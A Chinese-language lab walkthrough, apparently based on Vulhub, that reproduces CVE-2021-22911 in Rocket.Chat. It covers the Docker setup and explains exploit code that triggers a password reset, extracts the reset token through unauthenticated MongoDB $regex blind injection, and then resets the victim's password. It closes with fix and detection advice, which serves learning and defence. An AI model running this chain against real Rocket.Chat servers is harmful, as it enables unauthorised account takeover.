Rocket.Chat 前台 NoSQL 盲注漏洞(CVE-2021-22911):从盲注原理到账户接管的全链路复现
【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub
Rocket.Chat 是基于 Node.js 与 MongoDB 的开源团队协作聊天平台,其 3.12.1~3.13.2 版本中的getPasswordPolicy方法存在一处无需认证即可触发的 MongoDB 注入漏洞。本文以 Vulhub 中 rocketchat/CVE-2021-22911 环境为核心,完整讲解漏洞的原理、攻击链路与自动化利用脚本 CVE-2021-22911.py 的实现细节:读完后你将掌握如何通过未授权接口泄露任意用户的 Password Reset Token,并据此接管普通用户账户。
漏洞概述:两种攻击方式
CVE-2021-22911 的根因是getPasswordPolicy方法对用户输入缺乏过滤,攻击者传入的查询参数被直接拼接进 MongoDB 查询语句,从而可以注入$regex等 MongoDB 查询操作符。该接口位于 Rocket.Chat 的method.callAnon通道之下,不需要任何身份认证即可调用。
围绕这一注入点,存在两种典型的利用路径:
- 未授权攻击者:利用该漏洞泄露任意普通用户的 Password Reset Token(密码重置令牌),再通过令牌直接修改其账户密码,实现完全接管;
- 已登录普通用户:利用该漏洞越权读取任意用户的任意信息。
Vulhub 的中文文档(README.zh-cn.md)与英文文档(README.md)聚焦第一种"未授权令牌泄露 + 改密"路径,本文同样以该路径为主线进行复现,并对脚本与接口细节做源码级的展开。
环境搭建
Vulhub 使用官方预构建镜像vulhub/rocketchat:3.12.1搭建漏洞环境,完整编排见 docker-compose.yml。执行以下命令启动环境:
docker compose up -d编排文件中共定义了三类容器,理解它们的分工有助于把握 Rocket.Chat 的运行前提:
- rocketchat:漏洞目标本体,基于
vulhub/rocketchat:3.12.1镜像。command中通过seq 1 30循环执行node main.js并配合sleep 5重试,是为了等待 MongoDB 副本集就绪后再拉起应用;关键环境变量包括:PORT=3000:Web 服务监听端口;ROOT_URL=http://localhost:3000:对外访问地址;MONGO_URL=mongodb://mongo:27017/rocketchat:业务数据库地址;MONGO_OPLOG_URL=mongodb://mongo:27017/local:Rocket.Chat 依赖 MongoDB 副本集的 oplog 机制,故必须指定 oplog 地址;MAIL_URL=smtp://smtp.email:占位的邮件地址,实际攻击不依赖真实发信。
- mongo:
mongo:4.0镜像,启动参数--replSet rs0 --oplogSize 128 --storageEngine=mmapv1 --smallfiles表明数据库以单节点副本集方式运行——这正是 Rocket.Chat 强制要求的部署形态。 - mongo-init-replica:一次性初始化容器,执行
rs.initiate({...})初始化名为rs0的副本集,完成后自行退出(容器内break || ...; (exit $s)的模式与 rocketchat 容器的等待逻辑一致)。
环境启动后访问http://your-ip:3000进入 Rocket.Chat 安装向导,跟随向导完成安装即可。
安装完成后,为验证第一种攻击方法,需要在管理后台创建一个普通用户:用户名vulhub,邮箱vulhub@vulhub.org。创建成功后的用户列表如下(vulhub账户的 Roles 为user,即为待接管的目标):
攻击链路:三步接管用户账户
利用该漏洞接管一个普通用户共需三步,前两步对应脚本中的两个函数:
- 触发密码重置:以目标邮箱请求找回密码,后台会为该邮箱在数据库中生成一条 Password Reset Token;
- 盲注提取令牌:利用
getPasswordPolicy的 MongoDB 注入,以$regex前缀匹配的方式逐字符还原 Token; - 令牌改密:使用窃得的 Token 调用
resetPassword方法,把目标用户密码改成攻击者控制的值。
第一步:触发 Token 生成
脚本 CVE-2021-22911.py 的reset_password函数(第 15–27 行)向未授权接口发送找回密码请求:
payload = { 'msg': 'method', 'method': 'sendForgotPasswordEmail', 'params': [email], } session.post( f'{target}/api/v1/method.callAnon/sendForgotPasswordEmail', json={'message': json.dumps(payload)}, )注意两个细节:接口路径中的callAnon表明 Rocket.Chat 将这类方法暴露在匿名调用通道上;请求体以{'message': <json字符串>}的形式包装,message字段内是序列化后的方法调用描述(msg/method/params三段结构)。执行成功后打印[+] Password Reset Email Sent,此时数据库中已为该邮箱写入一条重置令牌。
第二步:$regex 盲注逐位还原 Token
这是整个漏洞的核心。getPasswordPolicy接口接受一个token参数,服务端将其直接放入 MongoDB 查询条件而未做任何转义,因此攻击者可以把{ "token": { "$regex": "^8" } }这样的查询操作符注入进去,让数据库把token字段当作正则来匹配。
由于接口不会回显匹配到的数据,只能根据响应差异判断命中与否,因此这是一次典型的盲注:
- 当
$regex写成^7(Token 实际首字符不是 7)时,查询无结果,接口返回Meteor.Error错误:"error":"error-invalid-user","reason":"Invalid user"; - 当
$regex写成^8(Token 首字符确为 8)时,查询命中,接口正常返回策略内容{"enabled": false, "policy": []}。
两种响应的原始请求/响应对照如下。左:$regex为^7时返回Meteor.Error:
右:$regex为^8时命中令牌,返回正常密码策略:
对比可见两者的判别特征是响应体中是否包含Meteor.Error字符串,这正是脚本中if b'Meteor.Error' not in response.content这一判断(第 49 行)的依据。
inject_token函数(第 30–57 行)把上述过程自动化:
guess = '-_' + string.digits + string.ascii_letters ... payload = { 'msg': 'method', 'method': 'getPasswordPolicy', 'params': [{ 'token': { '$regex': '^' } }], } for i in range(43): current = payload['params'][0]['token']['$regex'] for ch in guess: payload['params'][0]['token']['$regex'] = current + ch response = session.post( f'{target}/api/v1/method.callAnon/getPasswordPolicy', json={'message': json.dumps(payload)}, ) if b'Meteor.Error' not in response.content: break # 命中当前字符,进入下一位 time.sleep(1.5)脚本参数设计上有几点值得注意:
- 字典
guess为-_加数字与大小写字母:Rocket.Chat 的密码重置令牌由字母数字及-、_组成,字典与之对齐,保证每一位都能命中; - 外层
for i in range(43):固定猜测 43 位,与令牌长度一致;内层按current + ch逐位追加字符,命中即跳出内层循环,下一轮外层循环继续猜测下一位; - 命中判定即
Meteor.Error的有无:无该字符串视为命中并打印当前已还原前缀($regex去掉开头的^后即为 Token 本身),否则打点并sleep(1.5)限速,避免请求过快触发服务端保护。
整个过程的复杂度为43 × 字典长度次 HTTP 请求(本例约 43 × 64 次),在 1.5 秒间隔下需要较长时间,但全程无需登录态。实际运行效果如下,Token 被逐字符还原(8tNbUJCigNeoL...):
第三步:使用 Token 重置密码
拿到完整 Token 后,攻击者只需再次调用未授权接口resetPassword,参数为窃得的 Token 与新密码数组:
{ "msg": "method", "method": "resetPassword", "params": [ {"$token值": "新密码"} ] }对应请求发送至POST /api/v1/method.callAnon/resetPassword。服务端校验 Token 有效后更新该用户密码,响应返回"success": true及新的 Token 过期时间(tokenExpires),至此目标用户vulhub的账户已被完全接管——攻击者可以使用自己设置的密码登录该账户,读取其全部聊天数据或以其身份继续横向利用。
脚本使用与完整攻击命令
仓库提供的利用脚本接受两个参数:目标地址与目标用户邮箱:
python CVE-2021-22911.py http://<target-ip>:3000 vulhub@vulhub.org脚本内部自动完成"触发重置邮件 → 盲注提取 Token"两步(if __name__ == '__main__'分支,第 60–63 行),输出形如:
[+] Password Reset Email Sent [*] Guess No.1 character: .............. [+] Current token is 8 [*] Guess No.2 character: .............................. [+] Current token is 8t ...提取完成后,再手工(或自行扩展脚本)发起第三步的resetPassword请求即可完成接管。
小结与修复方向
- 漏洞本质:
getPasswordPolicy方法将用户可控的token参数未经过滤直接拼入 MongoDB 查询,且接口暴露在method.callAnon匿名通道下,"无需认证 + 查询注入"叠加使其危害从信息泄露升级为账户接管; - 影响版本:Rocket.Chat 3.12.1~3.13.2,升级到修复版本即可消除该攻击面;
- 通用防御启示:对 NoSQL 数据库的查询构造应使用类型白名单校验(例如 Token 只允许特定字符与长度,拒绝以
$开头的键值操作符),敏感接口的匿名调用通道应收窄到最小集合; - 检测视角:监控
method.callAnon/getPasswordPolicy请求中出现$regex、$ne、$gt等 MongoDB 操作符的流量,可作为该漏洞利用的直接指纹。
本文全部环境与材料均来自 Vulhub 仓库:环境编排见 rocketchat/CVE-2021-22911/docker-compose.yml,利用脚本见 rocketchat/CVE-2021-22911/CVE-2021-22911.py,中英文档见 rocketchat/CVE-2021-22911/README.md 与 rocketchat/CVE-2021-22911/README.zh-cn.md。
【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考